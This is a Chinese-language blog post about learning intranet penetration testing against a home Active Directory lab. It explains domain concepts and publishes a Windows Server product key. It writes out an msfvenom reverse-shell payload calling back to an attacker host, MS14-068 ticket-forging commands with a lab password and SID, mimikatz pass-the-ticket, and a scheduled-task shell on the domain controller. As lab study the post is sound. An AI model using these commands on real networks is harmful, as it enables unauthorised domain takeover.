前言
最近找工作,发现光打CTF不足以应对企业的需求,很多都会问一些内网渗透方面的知识。而我之前内网渗透这一块一直没怎么涉及,虽然有点晚的,但是确实需要补一补,认真学习内网渗透。另外后面打算做成一个系列,内网渗透的入门到实战之类的。
渗透常见概念
内网
局域网(Local Area Network, LAN),又称内网。内网的计算机以NAT(网络地址转换)协议,通过一个公共的网关访问Internet。内网的计算机可向Internet上的其他计算机发送连接请求,但Internet上其他的计算机无法向内网的计算机发送连接请求。
域和域控制器
域
域(Domain)是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后,2个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理。
域既是 Windows 网络操作系统的逻辑组织单元,也是Internet的逻辑组织单元,在 Windows 网络操作系统中,域是安全边界。域管理员只能管理域的内部,除非其他的域显式地赋予他管理权限,他才能够访问或者管理其他的域;每个域都有自己的安全策略,以及它与其他域的安全信任关系。
域是一种管理边界,用于一组计算机共享共用的安全数据库,域实际上就是一组服务器和工作站的集合。
域控制器
不过在“域”模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫一样,称为“域控制器(Domain Controller,简写为DC)”。
域控制器中包含了由这个域的账户、密码、属于这个域的计算机等信息构成的数据库。当电脑联入网络时,域控制器首先要鉴别这台电脑是否是属于这个域的,用户使用的登录账号是否存在、密码是否正确。如果以上信息有一样不正确,那么域控制器就会拒绝这个用户从这台电脑登录。不能登录,用户就不能访问服务器上有权限保护的资源,他只能以对等网用户的方式访问Windows共享出来的资源,这样就在一定程度上保护了网络上的资源。
域渗透AD环境搭建
- 域控制器:windows server r2 standard
- 序列号 简体中文标准版
- PCGCG-MP77F-9DBC9-QHW44-TDBRD
- 域用户:win7
单域的环境还是比较简单的,网上搭建的教程也是比较多,因为我也是刚入门只搭了一个简单的一个域控制器DC+一个win7的域用户。
搭建教程可以参考这两篇文章:
我就简单说一下关键点和我踩到的坑:
改两个的计算机名,后面比较方便
虚拟机搭建的情况下(大部分应该都是吧),虚拟机设置中得网络换成桥接。设置好IP使两台虚机在同一个局域网内,通过ip地址互ping能ping通,通过机器名也能ping通,ping域控服务器的计算器全名(带域后缀)也要ping的通。
一直提示密码设置不符合要求或者第一次登陆需要更改密码有一直解决不了的话,可以考虑更改域控制器安全策略。参考域用户无法修改密码问题的解决方案
分配内存的时候根据自己的机器来,分配少一点,比如总共8G(推荐16G),可以各分1G,分的太多容易导致物理机崩溃。多渗透环境的话,可能还是需要16G以上内存才能跑得起来。。。
其他好像没什么,按照教程来就行。
测试的域环境结构
域:pentestlab.com |
简单尝试
win7反弹shell
假设控制了域网内的一台电脑,要将权限从local admin 提高到Domain admin,访问包括Domain Controller在内的域内中任何一台电脑
首先得拿到一个shell
- 上传Metasploit的反弹马,shell下执行命令
生成反弹马(用exe的)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=23333 -f exe > ./Desktop/re.exe |
msfconsole设置监听并启动
msf5 > use exploit/multi/handler |
shell有中文,所以存在乱码(但是没有关系)
信息收集
拿到shell后,进行必要的信息收集。
常见的信息收集命令:
echo %PROCESSOR_ARCHITECTURE% //查看系统版本位数 |
得到一些信息:
域:pentestlab.com |
从local admin到domain admin
我们利用MS14-068漏洞提升普通用户的权限为与管理员(Domain admin)的身份。
详细原理参考:深入解读MS14-068漏洞
该漏洞利用Kerberos协议的算法和信息存放以及任意签名问题
Kerberos协议是一种基于第三方可信主机的计算机网络协议,它允许两个实体之间在非安全网络环境(可能被窃听、被重放攻击)下以一种安全的方式证明自己的身份。
攻击工具: https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068
利用该工具需要:
SID:
域控制器名称和域名称:DCServer
python环境(测试使用python2.7.14)
获取TGT并且清除缓存票据
MS14-068.exe -u Win7-PC1@pentestlab.com -p V0Wldl19980114 -s S-1-5-21-2650578945-2920865233-32666330-1107 -d DCServer.pentestlab.com |
注入TGT,注意注入TGT时,需要将上一步得到的票据放到相应的目录。
mimikatz.exe "kerberos::ptc TGT_Win7-PC1@pentestlab.com.ccache" exit |
访问域控DCServer的资源\\DCServer\c$
,把shell——re.exe放到c盘目录,准备用这个文件反弹shell。
添加定时任务,反弹shell,成功获取域控的system权限。
总结与后记
本文主要是通过一个MS14-068
漏洞复现了一个简单域渗透的情景,初窥域渗透和内网渗透。内网渗透确实博大精深,内容很多,知识很杂,听说到更精深的情况是能够自己写免杀和新漏洞的PoC,这甚至还需要二进制的知识。也是希望自己能够通过像这样不断的学习和总结,逐渐摸到门道,慢慢摸索经验,一步步深入吧。